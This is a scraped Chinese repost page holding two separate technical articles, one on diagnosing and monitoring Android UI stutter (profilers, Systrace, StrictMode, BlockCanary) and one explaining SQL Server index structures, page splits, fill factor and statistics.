1.12 / 1.12 / 1.09CPU usage from 484321ms to 184247ms ago (2022-11-02 14:48:30.793 to 2022-11-02 14:53:30.866):2% 1053/scanserver: 0.2% user + 1.7% kernel0.6% 934/system_server: 0.4% user + 0.1% kernel / faults: 563 minor0.4% 564/signserver: 0% user + 0.4% kernel0.2% 256/ueventd: 0.1% user + 0% kernel / faults: 320 minor0.2% 474/surfaceflinger: 0.1% user + 0.1% kernel0.1% 576/vendor.sprd.hardware.gnss@2.0-service: 0.1% user + 0% kernel / faults: 54 minor0.1% 286/logd: 0% user + 0% kernel / faults: 10 minor0.1% 2821/com.allinpay.appstore: 0.1% user + 0% kernel / faults: 1312 minor0.1% 447/android.hardware.health@2.0-service: 0% user + 0% kernel / faults: 1175 minor0% 1855/com.smartpos.dataacqservice: 0% user + 0% kernel / faults: 755 minor0% 2875/com.allinpay.appstore:pushcore: 0% user + 0% kernel / faults: 744 minor0% 1191/com.android.systemui: 0% user + 0% kernel / faults: 70 minor0% 1774/com.android.nfc: 0% user + 0% kernel0% 172/kworker/1:2: 0% user + 0% kernel0% 145/irq/24-70900000: 0% user + 0% kernel0% 575/thermald: 0% user + 0% kernel / faults: 300 minor... 2.CPU Profiler 这个工具是AS自带的CPU性能检测工具,可以在PC上实时查看我们CPU使用情况。 AS提供了四种Profiling Model配置: 1.Sample Java Methods:在应用程序基于Java的代码执行过程中,频繁捕获应用程序的调用堆栈 获取有关应用程序基于Java的代码执行的时间和资源使用情况信息。 2.Trace java methods:在运行时对应用程序进行检测,以在每个方法调用的开始和结束时记录时间戳。收集时间戳并进行比较以生成方法跟踪数据,包括时序信息和CPU使用率。 请注意与检测每种方法相关的开销会影响运行时性能,并可能影响性能分析数据。对于生命周期相对较短的方法,这一点甚至更为明显。此外,如果您的应用在短时间内执行大量方法,则探查器可能会很快超过其文件大小限制,并且可能无法记录任何进一步的跟踪数据。 3.Sample C/C++ Functions:捕获应用程序本机线程的示例跟踪。要使用此配置,您必须将应用程序部署到运行Android 8.0(API级别26)或更高版本的设备。 4.Trace System Calls:捕获细粒度的详细信息,使您可以检查应用程序与系统资源的交互方式 您可以检查线程状态的确切时间和持续时间,可视化CPU瓶颈在所有内核中的位置,并添加自定义跟踪事件进行分析。在对性能问题进行故障排除时,此类信息可能至关重要。要使用此配置,您必须将应用程序部署到运行Android 7.0(API级别24)或更高版本的设备。 使用方式: Debug.startMethodTracing("");// 需要检测的代码片段...Debug.stopMethodTracing(); 优点:有比较全面的调用栈以及图像化方法时间显示,包含所有线程的情况 缺点:本身也会带来一点的性能开销,可能会带偏优化方向 火焰图:可以显示当前应用的方法堆栈: 3.Systrace Systrace在前面一篇分析启动优化的文章讲解过 这里我们简单来复习下: Systrace用来记录当前应用的系统以及应用(使用Trace类打点)的各阶段耗时信息包括绘制信息以及CPU信息等。 使用方式: Trace.beginSection("MyApp.onCreate_1");alt(200);Trace.endSection(); 在命令行中: python systrace.py -t 5 sched gfx view wm am app webview -a "com.chinaebipay.thirdcall" -o D:\trac1.html 记录的方法以及CPU中的耗时情况: 优点: 1.轻量级,开销小,CPU使用率可以直观反映 2.右侧的Alerts能够根据我们应用的问题给出具体的建议,比如说,它会告诉我们App界面的绘制比较慢或者GC比较频繁。 4.StrictModel StrictModel是Android提供的一种运行时检测机制,用来帮助开发者自动检测代码中不规范的地方。 主要和两部分相关: 1.线程相关 2.虚拟机相关 基础代码: private void initStrictMode() {// 1、设置Debug标志位,仅仅在线下环境才使用StrictModeif (DEV_MODE) {// 2、设置线程策略StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectCustomSlowCalls() //API等级11,使用StrictMode.noteSlowCode.detectDiskReads().detectDiskWrites().detectNetwork() // or .detectAll() for all detectable problems.penaltyLog() //在Logcat 中打印违规异常信息// .penaltyDialog() //也可以直接跳出警报dialog// .penaltyDeath() //或者直接崩溃.build());// 3、设置虚拟机策略StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects()// 给NewsItem对象的实例数量限制为1.setClassInstanceLimit(NewsItem.class, 1).detectLeakedClosableObjects() //API等级11.penaltyLog().build());} } 线上监控: 线上需要自动化的卡顿检测方案来定位卡顿,它能记录卡顿发生时的场景。 自动化监控原理: 采用拦截消息调度流程,在消息执行前埋点计时,当耗时超过阈值时,则认为是一次卡顿,会进行堆栈抓取和上报工作 首先,我们看下Looper用于执行消息循环的loop()方法,关键代码如下所示: / Run the message queue in this thread. Be sure to call {@link quit()} to end the loop./public static void loop() {...for (;;) {Message msg = queue.next(); // might blockif (msg == null) {// No message indicates that the message queue is quitting.return;// This must be in a local variable, in case a UI event sets the loggerfinal Printer logging = me.mLogging;if (logging != null) {// 1logging.println(">>>>> Dispatching to " + msg.target + " " +msg.callback + ": " + msg.what);}...try {// 2 msg.target.dispatchMessage(msg);dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;} finally {if (traceTag != 0) {Trace.traceEnd(traceTag);} }...if (logging != null) {// 3logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);} 在Looper的loop()方法中,在其执行每一个消息(注释2处)的前后都由logging进行了一次打印输出。可以看到,在执行消息前是输出的">>>>> Dispatching to “,在执行消息后是输出的”<<<<< Finished to ",它们打印的日志是不一样的,我们就可以由此来判断消息执行的前后时间点。 具体的实现可以归纳为如下步骤: 1、首先,我们需要使用Looper.getMainLooper().setMessageLogging()去设置我们自己的Printer实现类去打印输出logging。这样,在每个message执行的之前和之后都会调用我们设置的这个Printer实现类。 2、如果我们匹配到">>>>> Dispatching to "之后,我们就可以执行一行代码:也就是在指定的时间阈值之后,我们在子线程去执行一个任务,这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息,比如:内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to ",那么说明message就被执行完成了,则表明此时没有产生我们认为的卡顿效果,那我们就可以将这个子线程任务取消掉。 这里我们使用blockcanary来做测试: BlockCanary APM是一个非侵入式的性能监控组件,可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。 使用方式: 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果: 可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图 那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢,呵呵。有那么容易就好了 根据原理:我们拿到的是msg执行前后的时间和堆栈信息,如果msg中有几百上千个方法,就无法确认到底是哪个方法导致的耗时,也有可能是多个方法堆积导致。 这就导致我们无法准确定位哪个方法是最耗时的。如图中:堆栈信息是T2的,而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。 那如何优化这块? 这里我们采用字节跳动给我们提供的一个方案:基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图: 主要包含两个方面: 检测方案: 在监控卡顿时,首先需要打开 Sliver 的 trace 记录能力,Sliver 采样记录 trace 执行信息,对抓取到的堆栈进行 diff 聚合和缓存。 同时基于我们的需要设置相应的卡顿阈值,以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截,在消息开始分发执行时埋点,在消息执行结束时计算消息执行耗时,当消息执行耗时超过阈值,则认为产生了一次卡顿。 堆栈聚合策略: 当卡顿发生时,我们需要为此次卡顿准备数据,这部分工作是在端上子线程中完成的,主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步: 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息,按照数据格式,从最近的方法栈向上追溯,找到当前 Message 包含的全部 trace 信息,并将当前 Message 的完整 trace 写入到待上传的 trace 文件中,删除其余 trace 信息。 3.遍历当前 Message trace,按照(Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时)为条件过滤出每一层函数调用堆栈的最长耗时函数,构成最后要上报的堆栈链路,这样特征堆栈中的每一步都是最耗时的,且最底层 Method 为最后的耗时大于阈值的 Method。 之后,将 trace 文件和堆栈一同上报,这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性,保证了上报到平台后堆栈的正确合理聚合,同时提供了进一步分析问题的 trace 文件。 可以看到字节给的是一整套监控方案,和前面BlockCanary不同之处就在于,其是定时存储堆栈,缓存,然后使用diff去重的方式,并上传到服务器,可以最大限度的监控到可能发生比较耗时的方法。 开发中哪些习惯会影响卡顿的发生 1.布局太乱,层级太深。 1.1:通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2:用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3:使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1:主线程中不要直接操作数据库,数据库的操作应该放在数据库线程中完成。 2.2:sharepreference尽量使用apply,少使用commit,可以使用MMKV框架来代替sharepreference。 2.3:网络请求回来的数据解析尽量放在子线程中,不要在主线程中进行复制的数据解析操作。 2.4:不要在activity的onResume和onCreate中进行耗时操作,比如大量的计算等。 2.5:不要在 draw 里面调用耗时函数,不能 new 对象 3.过度绘制 过度绘制是同一个像素点上被多次绘制,减少过度绘制一般减少布局背景叠加等方式,如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化,使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化 自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后,对象分配和垃圾回收(GC)造成的卡顿已经显著降低了,但是由于对象分配和GC有额外的开销,它依然又可能使线程负载过重。 在一个调用不频繁的地方(比如按钮点击)分配对象是没有问题的,但如果在在一个被频繁调用的紧密的循环里,就需要避免对象分配来降低GC的压力。 减少小对象的频繁分配和回收操作。 好了,关于卡顿优化的问题就讲到这里,下篇文章会对卡顿中的ANR情况的处理,这里做个铺垫。 如果喜欢我的文章,欢迎关注我的公众号。 点击这看原文链接: 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 本篇文章为转载内容。原文链接:https://blog.csdn.net/yuhaibing111/article/details/127682399。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-26 08:05:57
215
转载
转载文章
...他的数据库管理系统如Oracle、Sybase等,朋友们可以融会贯通,举一反三。 一、数据表的基本结构 建立数据库的目的是管理大量数据,而建立索引的目的就是提高数据检索效率,改善数据库工作性能,提高数据访问速度。对于索引,我们要知其然,更要知其所以然,关键在于认识索引的工作原理,才能更好的管理索引。 为认识索引工作原理,首先有必要对数据表的基本结构作一次全面的复习。 SQLS当一个新表被创建之时,系统将在磁盘中分配一段以8K为单位的连续空间,当字段的值从内存写入磁盘时,就在这一既定空间随机保存,当一个8K用完的时候,SQLS指针会自动分配一个8K的空间。这里,每个8K空间被称为一个数据页(Page),又名页面或数据页面,并分配从0-7的页号,每个文件的第0页记录引导信息,叫文件头(File header);每8个数据页(64K)的组合形成扩展区(Extent),称为扩展。全部数据页的组合形成堆(Heap)。 SQLS规定行不能跨越数据页,所以,每行记录的最大数据量只能为8K。这就是char和varchar这两种字符串类型容量要限制在8K以内的原因,存储超过8K的数据应使用text类型,实际上,text类型的字段值不能直接录入和保存,它只是存储一个指针,指向由若干8K的文本数据页所组成的扩展区,真正的数据正是放在这些数据页中。 页面有空间页面和数据页面之分。 当一个扩展区的8个数据页中既包含了空间页面又包括了数据或索引页面时,称为混合扩展(Mixed Extent),每张表都以混合扩展开始;反之,称为一致扩展(Uniform Extent),专门保存数据及索引信息。 表被创建之时,SQLS在混合扩展中为其分配至少一个数据页面,随着数据量的增长,SQLS可即时在混合扩展中分配出7个页面,当数据超过8个页面时,则从一致扩展中分配数据页面。 空间页面专门负责数据空间的分配和管理,包括:PFS页面(Page free space):记录一个页面是否已分配、位于混合扩展还是一致扩展以及页面上还有多少可用空间等信息;GAM页面(Global allocation map)和SGAM页面(Secodary global allocation map):用来记录空闲的扩展或含有空闲页面的混合扩展的位置。SQLS综合利用这三种类型的页面文件在必要时为数据表创建新空间; 数据页或索引页则专门保存数据及索引信息,SQLS使用4种类型的数据页面来管理表或索引:它们是IAM页、数据页、文本/图像页和索引页。 在WINDOWS中,我们对文件执行的每一步操作,在磁盘上的物理位置只有系统(system)才知道;SQL SERVER沿袭了这种工作方式,在插入数据的过程中,不但每个字段值在数据页面中的保存位置是随机的,而且每个数据页面在“堆”中的排列位置也只有系统(system)才知道。 这是为什么呢?众所周知,OS之所以能管理DISK,是因为在系统启动时首先加载了文件分配表:FAT(File Allocation Table),正是由它管理文件系统并记录对文件的一切操作,系统才得以正常运行;同理,作为管理系统级的SQL SERVER,也有这样一张类似FAT的表存在,它就是索引分布映像页:IAM(Index Allocation Map)。 IAM的存在,使SQLS对数据表的物理管理有了可能。 IAM页从混合扩展中分配,记录了8个初始页面的位置和该扩展区的位置,每个IAM页面能管理512,000个数据页面,如果数据量太大,SQLS也可以增加更多的IAM页,可以位于文件的任何位置。第一个IAM页被称为FirstIAM,其中记录了以后的IAM页的位置。 数据页和文本/图像页互反,前者保存非文本/图像类型的数据,因为它们都不超过8K的容量,后者则只保存超过8K容量的文本或图像类型数据。而索引页顾名思义,保存的是与索引结构相关的数据信息。了解页面的问题有助我们下一步准确理解SQLS维护索引的方式,如页拆分、填充因子等。 二、索引的基本概念 索引是一种特殊类型的数据库对象,它与表有着密切的联系。 索引是为检索而存在的。如一些书籍的末尾就专门附有索引,指明了某个关键字在正文中的出现的页码位置,方便我们查找,但大多数的书籍只有目录,目录不是索引,只是书中内容的排序,并不提供真正的检索功能。可见建立索引要单独占用空间;索引也并不是必须要建立的,它们只是为更好、更快的检索和定位关键字而存在。 再进一步说,我们要在图书馆中查阅图书,该怎么办呢?图书馆的前台有很多叫做索引卡片柜的小柜子,里面分了若干的类别供我们检索图书,比如你可以用书名的笔画顺序或者拼音顺序作为查找的依据,你还可以从作者名的笔画顺序或拼音顺序去查询想要的图书,反正有许多检索方式,但有一点很明白,书库中的书并没有按照这些卡片柜中的顺序排列——虽然理论上可以这样做,事实上,所有图书的脊背上都人工的粘贴了一个特定的编号①,它们是以这个顺序在排列。索引卡片中并没有指明这本书摆放在书库中的第几个书架的第几本,仅仅指明了这个特定的编号。管理员则根据这一编号将请求的图书返回到读者手中。这是很形象的例子,以下的讲解将会反复用到它。 SQLS在安装完成之后,安装程序会自动创建master、model、tempdb等几个特殊的系统数据库,其中master是SQLS的主数据库,用于保存和管理其它系统数据库、用户数据库以及SQLS的系统信息,它在SQLS中的地位与WINDOWS下的注册表相当。 master中有一个名为sysindexes的系统表,专门管理索引。SQLS查询数据表的操作都必须用到它,毫无疑义,它是本文主角之一。 查看一张表的索引属性,可以在查询分析器中使用以下命令:select from sysindexes where id=object_id(‘tablename’) ;而要查看表的索引所占空间的大小,可以使用系统存储过程命令:sp_spaceused tablename,其中参数tablename为被索引的表名。 三、平衡树 如果你通过书后的索引知道了一个关键字所在的页码,你有可能通过随机的翻寻,最终到达正确的页码。但更科学更快捷的方法是:首先把书翻到大概二分之一的位置,如果要找的页码比该页的页码小,就把书向前翻到四分之一处,否则,就把书向后翻到四分之三的地方,依此类推,把书页续分成更小的部分,直至正确的页码。这叫“两分法”,微软在官方教程MOC里另有一种说法:叫B树(B-Tree,Balance Tree),即平衡树。 一个表索引由若干页面组成,这些页面构成了一个树形结构。B树由“根”(root)开始,称为根级节点,它通过指向另外两个页,把一个表的记录从逻辑上分成两个部分:“枝”—--非叶级节点(Non-Leaf Level);而非叶级节点又分别指向更小的部分:“叶”——叶级节点(Leaf Level)。根节点、非叶级节点和叶级节点都位于索引页中,统称为索引节点,属于索引页的范筹。这些“枝”、“叶”最终指向了具体的数据页(Page)。在根级节点和叶级节点之间的叶又叫数据中间页。 “根”(root)对应了sysindexes表的Root字段,其中记载了非叶级节点的物理位置(即指针);非叶级节点位于根节点和叶节点之间,记载了指向叶级节点的指针;而叶级节点则最终指向数据页。这就是“平衡树”。 四、聚集索引和非聚集索引 从形式上而言,索引分为聚集索引(Clustered Indexes)和非聚集索引(NonClustered Indexes)。 聚集索引相当于书籍脊背上那个特定的编号。如果对一张表建立了聚集索引,其索引页中就包含着建立索引的列的值(下称索引键值),那么表中的记录将按照该索引键值进行排序。比如,我们如果在“姓名”这一字段上建立了聚集索引,则表中的记录将按照姓名进行排列;如果建立了聚集索引的列是数值类型的,那么记录将按照该键值的数值大小来进行排列。 非聚集索引用于指定数据的逻辑顺序,也就是说,表中的数据并没有按照索引键值指定的顺序排列,而仍然按照插入记录时的顺序存放。其索引页中包含着索引键值和它所指向该行记录在数据页中的物理位置,叫做行定位符(RID:Row ID)。好似书后面的的索引表,索引表中的顺序与实际的页码顺序也是不一致的。而且一本书也许有多个索引。比如主题索引和作者索引。 SQL Server在默认的情况下建立的索引是非聚集索引,由于非聚集索引不对表中的数据进行重组,而只是存储索引键值并用一个指针指向数据所在的页面。一个表如果没有聚集索引时,理论上可以建立249个非聚集索引。每个非聚集索引提供访问数据的不同排序顺序。 五、数据是怎样被访问的 若能真正理解了以上索引的基础知识,那么再回头来看索引的工作原理就简单和轻松多了。 (一)SQLS怎样访问没有建立任何索引数据表: Heap译成汉语叫做“堆”,其本义暗含杂乱无章、无序的意思,前面提到数据值被写进数据页时,由于每一行记录之间并没地有特定的排列顺序,所以行与行的顺序就是随机无序的,当然表中的数据页也就是无序的了,而表中所有数据页就形成了“堆”,可以说,一张没有索引的数据表,就像一个只有书柜而没有索引卡片柜的图书馆,书库里面塞满了一堆乱七八糟的图书。当读者对管理员提交查询请求后,管理员就一头钻进书库,对照查找内容从头开始一架一柜的逐本查找,运气好的话,在第一个书架的第一本书就找到了,运气不好的话,要到最后一个书架的最后一本书才找到。 SQLS在接到查询请求的时候,首先会分析sysindexes表中一个叫做索引标志符(INDID: Index ID)的字段的值,如果该值为0,表示这是一张数据表而不是索引表,SQLS就会使用sysindexes表的另一个字段——也就是在前面提到过的FirstIAM值中找到该表的IAM页链——也就是所有数据页集合。 这就是对一个没有建立索引的数据表进行数据查找的方式,是不是很没效率?对于没有索引的表,对于一“堆”这样的记录,SQLS也只能这样做,而且更没劲的是,即使在第一行就找到了被查询的记录,SQLS仍然要从头到尾的将表扫描一次。这种查询称为“遍历”,又叫“表扫描”。 可见没有建立索引的数据表照样可以运行,不过这种方法对于小规模的表来说没有什么太大的问题,但要查询海量的数据效率就太低了。 (二)SQLS怎样访问建立了非聚集索引的数据表: 如前所述,非聚集索引可以建多个,具有B树结构,其叶级节点不包含数据页,只包含索引行。假定一个表中只有非聚集索引,则每个索引行包含了非聚集索引键值以及行定位符(ROW ID,RID),他们指向具有该键值的数据行。每一个RID由文件ID、页编号和在页中行的编号组成。 当INDID的值在2-250之间时,意味着表中存在非聚集索引页。此时,SQLS调用ROOT字段的值指向非聚集索引B树的ROOT,在其中查找与被查询最相近的值,根据这个值找到在非叶级节点中的页号,然后顺藤摸瓜,在叶级节点相应的页面中找到该值的RID,最后根据这个RID在Heap中定位所在的页和行并返回到查询端。 例如:假定在Lastname上建立了非聚集索引,则执行Select From Member Where Lastname=’Ota’时,查询过程是:①SQLS查询INDID值为2;②立即从根出发,在非叶级节点中定位最接近Ota的值“Martin”,并查到其位于叶级页面的第61页;③仅在叶级页面的第61页的Martin下搜寻Ota的RID,其RID显示为N∶706∶4,表示Lastname字段中名为Ota的记录位于堆的第707页的第4行,N表示文件的ID值,与数据无关;④根据上述信息,SQLS立马在堆的第 707页第4行将该记录“揪”出来并显示于前台(客户端)。视表的数据量大小,整个查询过程费时从百分之几毫秒到数毫秒不等。 在谈到索引基本概念的时候,我们就提到了这种方式: 图书馆的前台有很多索引卡片柜,里面分了若干的类别,诸如按照书名笔画或拼音顺序、作者笔画或拼音顺序等等,但不同之处有二:① 索引卡片上记录了每本书摆放的具体位置——位于某柜某架的第几本——而不是“特殊编号”;② 书脊上并没有那个“特殊编号”。管理员在索引柜中查到所需图书的具体位置(RID)后,根据RID直接在书库中的具体位置将书提出来。 显然,这种查询方式效率很高,但资源占用极大,因为书库中书的位置随时在发生变化,必然要求管理员花费额外的精力和时间随时做好索引更新。 (三)SQLS怎样访问建立了聚集索引的数据表: 在聚集索引中,数据所在的数据页是叶级,索引数据所在的索引页是非叶级。 查询原理和上述对非聚集索引的查询相似,但由于记录是按照聚集索引中索引键值进行排序,换句话说,聚集索引的索引键值也就是具体的数据页。 这就好比书库中的书就是按照书名的拼音在排序,而且也只按照这一种排序方式建立相应的索引卡片,于是查询起来要比上述只建立非聚集索引的方式要简单得多。仍以上面的查询为例: 假定在Lastname字段上建立了聚集索引,则执行Select From Member Where Lastname=’Ota’时,查询过程是:①SQLS查询INDID值为1,这是在系统中只建立了聚集索引的标志;②立即从根出发,在非叶级节点中定位最接近Ota的值“Martin”,并查到其位于叶级页面的第120页;③在位于叶级页面第120页的Martin下搜寻到Ota条目,而这一条目已是数据记录本身;④将该记录返回客户端。 这一次的效率比第二种方法更高,以致于看起来更美,然而它最大的优点也恰好是它最大的缺点——由于同一张表中同时只能按照一种顺序排列,所以在任何一种数据表中的聚集索引只能建立一个;并且建立聚集索引需要至少相当于源表120%的附加空间,以存放源表的副本和索引中间页! 难道鱼和熊掌就不能兼顾了吗?办法是有的。 (四)SQLS怎样访问既有聚集索引、又有非聚集索引的数据表: 如果我们在建立非聚集索引之前先建立了聚集索引的话,那么非聚集索引就可以使用聚集索引的关键字进行检索,就像在图书馆中,前台卡片柜中的可以有不同类别的图书索引卡,然而每张卡片上都载明了那个特殊编号——并不是书籍存放的具体位置。这样在最大程度上既照顾了数据检索的快捷性,又使索引的日常维护变得更加可行,这是最为科学的检索方法。 也就是说,在只建立了非聚集索引的情况下,每个叶级节点指明了记录的行定位符(RID);而在既有聚集索引又有非聚集索引的情况下,每个叶级节点所指向的是该聚集索引的索引键值,即数据记录本身。 假设聚集索引建立在Lastname上,而非聚集索引建立在Firstname上,当执行Select From Member Where Firstname=’Mike’时,查询过程是:①SQLS查询INDID值为2;②立即从根出发,在Firstname的非聚集索引的非叶级节点中定位最接近Mike的值“Jose”条目;③从Jose条目下的叶级页面中查到Mike逻辑位置——不是RID而是聚集索引的指针;④根据这一指针所指示位置,直接进入位于Lastname的聚集索引中的叶级页面中到达Mike数据记录本身;⑤将该记录返回客户端。 这就完全和我们在“索引的基本概念”中讲到的现实场景完全一样了,当数据发生更新的时候,SQLS只负责对聚集索引的健值驾以维护,而不必考虑非聚集索引,只要我们在ID类的字段上建立聚集索引,而在其它经常需要查询的字段上建立非聚集索引,通过这种科学的、有针对性的在一张表上分别建立聚集索引和非聚集索引的方法,我们既享受了索引带来的灵活与快捷,又相对规避了维护索引所导致的大量的额外资源消耗。 六、索引的优点和不足 索引有一些先天不足:1:建立索引,系统要占用大约为表的1.2倍的硬盘和内存空间来保存索引。2:更新数据的时候,系统必须要有额外的时间来同时对索引进行更新,以维持数据和索引的一致性——这就如同图书馆要有专门的位置来摆放索引柜,并且每当库存图书发生变化时都需要有人将索引卡片重整以保持索引与库存的一致。 当然建立索引的优点也是显而易见的:在海量数据的情况下,如果合理的建立了索引,则会大大加强SQLS执行查询、对结果进行排序、分组的操作效率。 实践表明,不恰当的索引不但于事无补,反而会降低系统性能。因为大量的索引在进行插入、修改和删除操作时比没有索引花费更多的系统时间。比如在如下字段建立索引应该是不恰当的:1、很少或从不引用的字段;2、逻辑型的字段,如男或女(是或否)等。 综上所述,提高查询效率是以消耗一定的系统资源为代价的,索引不能盲目的建立,必须要有统筹的规划,一定要在“加快查询速度”与“降低修改速度”之间做好平衡,有得必有失,此消则彼长。这是考验一个DBA是否优秀的很重要的指标。 至此,我们一直在说SQLS在维护索引时要消耗系统资源,那么SQLS维护索引时究竟消耗了什么资源?会产生哪些问题?究竟应该才能优化字段的索引? 在上篇中,我们就索引的基本概念和数据查询原理作了详细阐述,知道了建立索引时一定要在“加快查询速度”与“降低修改速度”之间做好平衡,有得必有失,此消则彼长。那么,SQLS维护索引时究竟怎样消耗资源?应该从哪些方面对索引进行管理与优化?以下就从七个方面来回答这些问题。 一、页分裂 微软MOC教导我们:当一个数据页达到了8K容量,如果此时发生插入或更新数据的操作,将导致页的分裂(又名页拆分): 1、有聚集索引的情况下:聚集索引将被插入和更新的行指向特定的页,该页由聚集索引关键字决定; 2、只有堆的情况下:只要有空间就可以插入新的行,但是如果我们对行数据的更新需要更多的空间,以致大于了当前页的可用空间,行就被移到新的页中,并且在原位置留下一个转发指针,指向被移动的新行,如果具有转发指针的行又被移动了,那么原来的指针将重新指向新的位置; 3、如果堆中有非聚集索引,那么尽管插入和更新操作在堆中不会发生页分裂,但是在非聚集索引上仍然产生页分裂。 无论有无索引,大约一半的数据将保留在老页面,而另一半将放入新页面,并且新页面可能被分配到任何可用的页。所以,频繁页分裂,后果很严重,将使物理表产生大量数据碎片,导致直接造成I/O效率的急剧下降,最后,停止SQLS的运行并重建索引将是我们的唯一选择! 二、填充因子 然而在“混沌之初”,就可以在一定程度上避免不愉快出现:在创建索引时,可以为这个索引指定一个填充因子,以便在索引的每个叶级页面上保留一定百分比的空间,将来数据可以进行扩充和减少页分裂。填充因子是从0到100的百分比数值,设为100时表示将数据页填满。只有当不会对数据进行更改时(例如只读表中)才用此设置。值越小则数据页上的空闲空间越大,这样可以减少在索引增长过程中进行页分裂的需要,但这一操作需要占用更多的硬盘空间。 填充因子只在创建索引时执行,索引创建以后,当表中进行数据的添加、删除或更新时,是不会保持填充因子的,如果想在数据页上保持额外的空间,则有悖于使用填充因子的本意,因为随着数据的输入,SQLS必须在每个页上进行页拆分,以保持填充因子指定的空闲空间。因此,只有在表中的数据进行了较大的变动,才可以填充数据页的空闲空间。这时,可以从容的重建索引,重新指定填充因子,重新分布数据。 反之,填充因子指定不当,就会降低数据库的读取性能,其降低量与填充因子设置值成反比。例如,当填充因子的值为50时,数据库的读取性能会降低两倍!所以,只有在表中根据现有数据创建新索引,并且可以预见将来会对这些数据进行哪些更改时,设置填充因子才有意义。 三、两道数学题 假定数据库设计没有问题,那么是否象上篇中分析的那样,当你建立了众多的索引,在查询工作中SQLS就只能按照“最高指示”用索引处理每一个提交的查询呢?答案是否定的! 上篇“数据是怎样被访问的”章节中提到的四种索引方案只是一种静态的、标准的和理论上的分析比较,实际上,将在外,军令有所不从,SQLS几乎完全是“自主”的决定是否使用索引或使用哪一个索引! 这是怎么回事呢? 让我们先来算一道题:如果某表的一条记录在磁盘上占用1000字节(1K)的话,我们对其中10字节的一个字段建立索引,那么该记录对应的索引大小只有10字节(0.01K)。上篇说过,SQLS的最小空间分配单元是“页(Page)”,一个页面在磁盘上占用8K空间,所以一页只能存储8条“记录”,但可以存储800条“索引”。现在我们要从一个有8000条记录的表中检索符合某个条件的记录(有Where子句),如果没有索引的话,我们需要遍历8000条×1000字节/8K字节=1000个页面才能够找到结果。如果在检索字段上有上述索引的话,那么我们可以在8000条×10字节/8K字节=10个页面中就检索到满足条件的索引块,然后根据索引块上的指针逐一找到结果数据块,这样I/O访问量肯定要少得多。 然而有时用索引还不如不用索引快! 同上,如果要无条件检索全部记录(不用Where子句),不用索引的话,需要访问8000条×1000字节/8K字节=1000个页面;而使用索引的话,首先检索索引,访问8000条×10字节/8K字节=10个页面得到索引检索结果,再根据索引检索结果去对应数据页面,由于是检索全部数据,所以需要再访问8000条×1000字节/8K字节=1000个页面将全部数据读取出来,一共访问了1010个页面,这显然不如不用索引快。 SQLS内部有一套完整的数据索引优化技术,在上述情况下,SQLS会自动使用表扫描的方式检索数据而不会使用任何索引。那么SQLS是怎么知道什么时候用索引,什么时候不用索引的呢?因为SQLS除了维护数据信息外,还维护着数据统计信息! 四、统计信息 打开企业管理器,单击“Database”节点,右击Northwind数据库→单击“属性”→选择“Options”选项卡,观察“Settings”下的各项复选项,你发现了什么? 从Settings中我们可以看到,在数据库中,SQLS将默认的自动创建和更新统计信息,这些统计信息包括数据密度和分布信息,正是它们帮助SQLS确定最佳的查询策略:建立查询计划和是否使用索引以及使用什么样的索引。 在创建索引时,SQLS会创建分布数据页来存放有关索引的两种统计信息:分布表和密度表。查询优化器使用这些统计信息估算使用该索引进行查询的成本(Cost),并在此基础上判断该索引对某个特定查询是否有用。 随着表中的数据发生变化,SQLS自动定期更新这些统计信息。采样是在各个数据页上随机进行。从磁盘读取一个数据页后,该数据页上的所有行都被用来更新统计信息。统计信息更新的频率取决于字段或索引中的数据量以及数据更改量。比如,对于有一万条记录的表,当1000个索引键值发生改变时,该表的统计信息便可能需要更新,因为1000 个值在该表中占了10%,这是一个很大的比例。而对于有1千万条记录的表来说,1000个索引值发生更改的意义则可以忽略不计,因此统计信息就不会自动更新。 至于它们帮助SQLS建立查询计划的具体过程,限于篇幅,这里就省略了,请有兴趣的朋友们自己研究。 